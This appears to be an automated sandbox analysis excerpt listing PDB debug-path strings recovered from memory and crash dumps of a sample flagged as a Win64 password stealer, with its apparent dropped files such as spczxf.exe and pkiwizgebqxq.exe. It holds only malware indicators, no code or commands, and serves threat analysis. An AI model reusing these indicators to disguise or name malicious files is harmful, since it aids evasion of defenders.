Source:	Binary string: System.Runtime.WindowsRuntime.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbn source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Diagnostics.Tracing.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Windows.ApplicationServer.Applications.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Internal.Tasks.Dataflow.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Internal.Tasks.Dataflow.pdbSystem.Messaging.dllSystem.Data.Linq.dllSystem.Data.SqlXml.dllSystem.Deployment.dllH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Web.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Workflow.ComponentModel.pdb8N source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Workflow.Runtime.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: NGenTaskLauncher.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Numerics.pdbMicrosoft.Data.Entity.Build.Tasks.dllSystem.Runtime.InteropServices.RuntimeInformation.dllSystem.Runtime.InteropServices.RuntimeInformation.dllH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.Linq.pdb0 source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Transactions.Bridge.Dtc.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Management.Instrumentation.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Client.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.Extensions.Design.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Xaml.Hosting.pdb_L source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.DataSetExtensions.pdbSystem.Threading.Tasks.Parallel.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ComponentModel.Composition.Registration.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.CSharp.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Utilities.v4.0.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.IdentityModel.Selectors.pdbSystem.Text.Encoding.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.pdbSystem.Messaging.dllSystem.Data.SqlXml.dllMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: Microsoft.CSharp.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Configuration.Install.pdb` source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Activities.Build.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: spczxf.PDB source: spczxf.exe, 00000008.00000002.1734269034.00000098BFCF3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.JScript.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.Design.pdbH source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.Composition.pdbSystem.Diagnostics.Contracts.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualBasic.Activities.Compiler.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Routing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Web.Services.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Data.Entity.Build.Tasks.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.pdbSystem.Windows.Forms.DataVisualization.Design.dllP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Abstractions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: sysglobl.pdbMZ@ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IdentityModel.Services.pdbMicrosoft.VisualBasic.Compatibility.Data.dllMicrosoft.VisualBasic.Activities.Compiler.dllMicrosoft.VisualBasic.Activities.Compiler.dllMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IdentityModel.Selectors.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: BpC:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.PDB source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb\| source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Drawing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Management.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Users\user\Desktop\HFayo.pdb\M source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Runtime.Serialization.pdbSystem.Security.SecureString.dll??\ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.Web.pdb`@ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IO.Compression.FileSystem.pdbMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Web.DataVisualization.Design.pdbMicrosoft.Build.Framework.dllh source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Web.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbSILZ source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99246000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.IO.Log.pdbSystem.Diagnostics.TextWriterTraceListener.dll( source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Runtime.Remoting.ni.pdbRSDS-L source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Extensions.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualC.pdbSystem.ValueTuple.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\spczxf.PDBn.0 source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.Entity.pdb8 source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Drawing.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Workflow.Activities.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IdentityModel.Services.pdbMZ source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Numerics.Vectors.pdbh source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Accessibility.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Web.Services.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IdentityModel.pdbMZ source: WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Messaging.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.pdb source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: sysglobl.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Activities.Core.Presentation.pdb( source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Data.Entity.Build.Tasks.pdbSystem.Runtime.ni.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ServiceModel.Web.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.Composition.Registration.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: sysglobl.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Deployment.pdbMZ source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Activities.Presentation.pdb_C source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.Services.Client.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: mscorlib.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Diagnostics.Tracing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Linq.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Runtime.WindowsRuntime.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.IO.Compression.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.RegularExpressions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xaml.pdbMZ@ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.Entity.pdbp source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.Formatters.Soap.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.WasHosting.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Channels.pdbh$ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IdentityModel.Selectors.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: aspnet_wp.pdb source: Microsoft.exe, 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmp, Microsoft.exe, 00000010.00000000.1785763182.00007FF7FE547000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: System.ServiceProcess.ni.pdbRSDSwg source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb.exed source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Windows.ApplicationServer.Applications.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.PDB source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Xaml.ni.pdbRSDSDg{V source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Framework.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Routing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Core.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.pdb! source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Transactions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Caching.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IO.Compression.FileSystem.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32objr\x86\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbSystem.Web.RegularExpressions.dllSystem.Web.RegularExpressions.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Web.RegularExpressions.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.SqlXml.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.RegularExpressions.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Runtime.ni.pdb( source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IO.Compression.FileSystem.pdbSystem.Xml.XmlSerializer.dllH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.Entity.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Mobile.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Transactions.Bridge.pdb8 source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Linq.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Windows.Forms.DataVisualization.Design.pdbPj source: WER696F.tmp.dmp.30.dr
Source:	Binary string: SMDiagnostics.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Xml.Linq.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xaml.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbzS source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Dynamic.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wmplayer.pdbGCTL source: wmplayer.exe, 00000029.00000003.2458942503.000001DDEEFF0000.00000004.00000001.00020000.00000000.sdmp, pkiwizgebqxq.exe.41.dr
Source:	Binary string: NGenTaskLauncher.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Design.pdbMZ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.Services.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: BindoC:\Windows\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Runtime.DurableInstancing.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.DirectoryServices.Protocols.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.DataAnnotations.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdbRSDSg@h source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Serialization.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Activities.Core.Presentation.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Engine.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Linq.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: pC:\Users\user\AppData\Local\Temp\spczxf.PDB source: spczxf.exe, 00000008.00000002.1734269034.00000098BFCF3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.ComponentModel.Composition.Registration.pdbSystem.Reflection.Emit.Lightweight.dllH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Drawing.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Core.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.Design.pdb:\W/M source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: Microsoft.Build.Tasks.v4.0.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.Protocols.pdb:\W source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: wmplayer.pdb source: wmplayer.exe, 00000029.00000003.2458942503.000001DDEEFF0000.00000004.00000001.00020000.00000000.sdmp, pkiwizgebqxq.exe.41.dr
Source:	Binary string: \??\C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.PDBJ source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E991D5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualC.pdbSystem.Xml.XPath.XDocument.dllSystem.Xml.XPath.XDocument.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Device.pdbSystem.Threading.Tasks.Parallel.dllPP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Workflow.Activities.pdb &8 source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Messaging.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.EnterpriseServices.pdb( source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Management.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\HFayo.pdbdb@ source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4DE1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Activities.Core.Presentation.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.AddIn.Contract.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.DataAnnotations.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Management.Instrumentation.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Configuration.Install.ni.pdbRSDSQ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Caching.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Core.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Web.Extensions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceProcess.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.EnterpriseServices.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.Design.pdb( source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Web.DataVisualization.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Users\user\AppData\Local\Temp\spczxf.PDB source: spczxf.exe, 00000008.00000002.1734269034.00000098BFCF3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\HFayo.pdbBS source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Activities.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Net.pdb source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Serialization.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: XamlBuildTask.pdbP4 source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Deployment.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
